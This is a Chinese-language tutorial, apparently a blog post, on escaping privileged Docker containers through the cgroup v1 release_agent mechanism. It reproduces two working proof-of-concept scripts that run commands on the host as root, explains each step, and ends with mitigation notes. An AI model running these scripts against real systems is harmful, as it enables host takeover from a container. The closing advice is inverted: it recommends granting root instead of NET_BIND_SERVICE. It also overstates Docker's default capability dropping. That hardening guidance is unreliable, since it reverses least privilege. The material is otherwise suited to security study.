了解容器逃逸 --privileged


一个已经有些年份的话题:Docker 容器逃逸,如何从容器内发起攻击。

Felix Wilhelm 有篇 2019 年的推文:

大佬凭借的是 --privileged。使用了 privileged flag 的容器被称为 privileged docker(其设计初衷是让容器应用能够直接访问硬件设备),PoC 通过滥用 Linux Cgroup v1 的“通知”特性从容器中启动主机进程。

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
 
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

privileged flag 引入了严重的安全问题,虽然必须依赖 Docker 容器启动。使用 privileged flag 的容器可以访问所有设备,并且不受 Seccomp(Secure Computing)、AppArmor(Application Armor)和 Linux 功能的限制。

0x00 危险配置

--privileged 带来的权限甚至多于攻击所需,实际上必要的要求有:

  • 以 root 用户身份在容器内运行;
  • 容器使用 SYS_ADMIN Linux 功能运行;
  • 容器缺失 AppArmor 配置文件(允许挂载系统调用);
  • Cgroup v1 虚拟文件系统以可读可写方式挂载在容器内。

SYS_ADMIN 功能允许容器执行挂载 syscall,但这不是默认启动的。默认情况下,Docker 启动的容器只有一组受限的功能,并且考虑到安全风险而不启用 SYS_ADMIN。

参考:Docker security | Docker Documentation。

另外,Docker 默认情况下使用 docker ... apparmor=docker-default ... 启动(AppArmor security profiles for Docker | Docker Documentation),这会阻止挂载系统调用,覆盖 SYS_ADMIN。

因此,容器必须使用如下必要的危险配置来启动:

--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

0x01 Cgroups

Linux Cgroups(参考:Linux Control Groups V1 和 V2 原理和区别 | mikechengwei's Blog) 是 Docker 用来隔离容器的一种机制,上述 PoC 通过滥用 Cgroup v1 的 notify_on_release 功能全权运行漏洞。当 Cgroup 中的最后一个进程“离开”时(比如退出或被附加到另一个 Cgroup),将执行 release_agent 文件中提供的命令,目的是剔除被丢弃的 Cgroup,而且此时其具有完全的 root 权限。

因为release_agent 文件具有 root 身份,默认情况下不会使用,即 notify_on_release 功能默认关闭,且 release_agent 路径为空。

文档:https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt。

0x02 容器逃逸

下面尝试一下这种容器逃逸。我们使用 --privileged 来启动容器。

docker run --rm -it --privileged ubuntu:14.04 /bin/bash

判断是否为容器

判断是否处在容器内,可以查看 /proc/1/cgroup(init 进程的 Cgroup),只有在容器内才可能看到一堆容器的 ID。另外,没有经过特意定制的容器是存在 /.dockerenv 文件的。

判断容器是否具备所需权限

依据就是是否能够成功运行一个需要高权限的命令。

添加虚拟接口的指令:

$ ip link add dummy0 type dummy

这个命令要求 NET_ADMIN 权限。NET_ADMIN 是 --privileged 赋予特权功能集的一部分,若不能成功执行(RTNETLINK answers: Operation not permitted),则当前容器就无法利用。

相应的删除虚拟接口命令:

$ ip link delete dummy0

PoC

具体解释:Understanding Docker container escapes | Trail of Bits Blog。

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

流程:

  1. 第 1 行,创建一个新的 Cgroup;
  2. 第 2 行,启用 notify_on_release;
  3. 第 3、4 行,指定新建的 Cgroup 应当使用的 release_agent 文件;
  4. 第 5、6、7 行,写命令脚本,将 ps aux 的执行结果放入 /output 文件中,然后设置该脚本的执行权限位;
  5. 最后通过生成一个进程来触发,这个进程在新 Cgroup 内结束,然后 release_agent 开始执行。

在宿主机上应该可以找到记录 ps aux 输出的文件。

使用这个 PoC 可以任意执行命令。

0x03 应对措施

Docker 的权限粒度只会越来越细,root 权限并不是一个整体,而是被划分为若干单独的权限。默认情况下,Docker 会删除容器的所有功能,并要求添加功能。可以使用 cap-drop 和 cap-add flag 来删除或添加功能。

--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES

例如,需要绑定小端口(小于 1024)时,可以授予容器 root 权限,而不是 NET_BIND_SERVICE 功能。